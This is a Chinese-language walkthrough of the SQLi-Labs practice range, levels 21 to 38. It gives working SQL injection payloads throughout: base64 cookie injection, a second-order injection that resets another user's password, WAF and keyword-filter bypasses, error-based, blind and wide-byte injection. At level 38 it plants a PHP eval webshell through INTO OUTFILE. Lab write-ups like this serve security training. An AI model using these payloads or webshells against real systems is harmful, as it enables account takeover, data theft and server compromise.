请先过page1

1. Less-21

登录进去感觉好像和上一道题一样。

我们抓一下包

哎,这个cookie

加密了一次,这应该是base64加密,我们解一下试试

![]https://img.trtyr.top/img/SQL-Libs靶场Page-11-22教程64.webp)

我们现在的思路就是,把SQL语句加密一次,然后再传参。

注入方式是单引号括号注入

1
1') #

我们找字段数

这样得到加密数据

得到显错位,然后就简单了,联合注入就行了。

2. Less-22

和上一道一样,单引号变双引号就行了。

3. Less-23

这道题我们正常的注入后发现不太对劲

首先是只有单引号,单引号加注释这两种情况才有报错,所以单引号应该是没有问题的,有问题的是注释。

我们试了一下常规的注释 --# 这两个都不行,尝试一下特殊的注释 %00

成功。

接下来就正常了

联合注入就能搞。

4. Less-24

这道题的目的是,已知用户账号,但是不知道密码的情况下,修改目标密码并修改。

现在我们修改Dumb用户。

我们点击注册新账号

进到一个界面,我们注册用户名为Dumb' # ,密码是123456

我这里就是猜它的结构是这样的

1
username=''&password=''

当我们用户名是Dump' #就会发送一些神奇的变化

1
2
3
username='Dumb' #'&password=''
等同于
username='Dumb'

所以我们实际上就是把Dumb用户给重新注册了。

当然,这里是单引号是我猜的哈,就是试一试看看行不行

点击注册。

注册成功。我们登录一下刚才注册的账号,Dumb' #

这里要我们重置密码,我们把123456重置为654321

然后点击重置

重置成功

我们登录一下Dumb的账号

然后点击登录

卧槽,成了。

记得重置一下数据库

5. Less-25

这就是上一道题干出来的。我们重置一下数据库

这道题给提示了,and和or被过滤了,我们无视他,就当作不知道,从头分析

我们先正常注入,确定不是数字型注入,发现这个注释没问题。

单引号有报错,其他的啥事没有,确定是单引号注入。

排查过滤,引号没有,现在怀疑and或or被过滤,试试大写的,大写不行。

我们试试符号,and对应&&,or对应||

成了。

然后发现了一个问题,o被过滤,order by不完整了。

其实这里还有一个方法

我们过滤的是 OR or AND and

我们输入 oorr 会发生什么?

oorr 过滤or后就是 or,同理 anandd 过滤后就是 and

1
1' oorrder by 3 -- 

联合注入去吧!

6. Less-25a

和上一道题差不多

注入方式

1
1 && 1=1

就是把上一道的注释和单引号去掉。

1
1 oorrder by 3

7. Less-26

下面就不一个一个分析了,直接告诉过滤啥

这道题 and or 和空格都被过滤掉了​,对了还有注释 – 和 #

注入点

1
2
3
1'&&'1
等同于
1' and '1

我们尝试使用报错注入。

1
2
3
1'||updatexml(1,concat('~', database()),1)||1='1
等同于·
1' or updatexml(1,concat('~', database()),1) or 1='1

然后就简单了,正常的报错注入。

8. Less-26a

注入点:

1
1')anandd('1

本来试试想用联合注入的,但是这玩意死活不给我出结果,就是报错,然后就用了布尔盲注

1
1') anandd (length(database())=8) anandd ('1

可以跑。

然后就是常规的布尔盲注了。

9. Less-27

注入点:

1
1' and '1

过滤内容是:

1
2
 /* , – , # , 空格 , /,/s
union、select、UNION、SELECT、Union、Select

用联合注入就行了。

虽然union和select用不了,但是我们可以用 UnIoN 和 SeleCT 这样的。

这道题可以用报错注入

1
2
3
1'||updatexml(1,concat('~', database()),1)||1='1
等同于·
1' or updatexml(1,concat('~', database()),1) or 1='1

和26题一模一样。

其他的和正常的报错注入一样。

10. Less-28

注入点:

1
1') and ('0

没有报错信息,试试联合注入

1
2
3
4
5
0')%0Auniunion%0Aselecton%0Aselect%0A1,2,3||('
这个就是
0') uniunion selecton select 1,2,3 or ('
过滤之后就是
0') union select 1,2,3 or ('

这个 %0A和 %0B功能差不多,有的时候 %0B 用不了就用 %0A

得到显错位。然后就联合注入了。

1
0')%0Auniunion%0Aselecton%0Aselect%0A1,database(),3||('

11. Less-28a

和上一题的代码一模一样。

12. Less-29

这道题它……一上来说自己是世界最好的防火墙,我都准备好整那些奇奇怪怪的过滤了,结果你丫就是个普普通通的字符串注入

1
1' and 1=1 --

啥也没过滤,直接上就行了。

13. Less-30

世界上最好的防火墙……

我估计知道是什么货色了,估计就是把上一道题的闭合方式改了一下。

1
1" and 1=1 --

双引号闭合,联合注入就行

14. Less-31

世界上最好的WAF

我猜啊,这个应该是加括号了。

1
1") and 1=2 --

15. Less-32

这道题是宽字节注入,单引号被转义了。

1
1%df' and 1=1 --

注入的话联合注入就行了。

1
-1%df' union select 1,database(),3 -- 

16. Less-33

和上一道题一样。

17. Less-34

熟悉的登录界面

这是一个post宽字节注入。

这里我们用一个新方法,把 ’ 变成 �’,嘿嘿嘿

这个是把 UTF8 的 ’ 变成了 UTF16 的 �’

1
admin�' or 1=1 #

18. Less-35

简单的数字型注入

1
1 and 1=1

19. Less-36

宽字符注入

1
1�' and 1=2 --

20. Less-37

和34题一样。

21. Less-38

又是需要写木马

1
1';select '<?php @eval($_POST[x])?>' into outfile 'D:\\SoftWare\\phpstudy_pro\\WWW\\sql-libs\\Less-38\\test.php'%23

把木马写到目录下,密码是x

然后用蚁剑连上去就行了

成功!